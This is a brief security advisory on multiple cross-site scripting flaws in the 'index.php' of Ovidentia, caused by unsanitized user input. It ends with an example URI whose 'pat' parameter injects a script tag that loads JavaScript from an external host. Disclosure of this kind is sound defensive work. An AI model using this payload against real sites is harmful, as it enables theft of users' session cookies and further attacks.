Ovidentia 'index.php' Multiple Cross-Site Scripting Vulnerabilities

Ovidentia is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.

The following example URIs are available:

http://www.example.com/index.php?tg=search&pat=%22%3E%3Cscript%20src=http://external-site/thirdparty/scripts/nullcode.js%3E%3C/script%3E
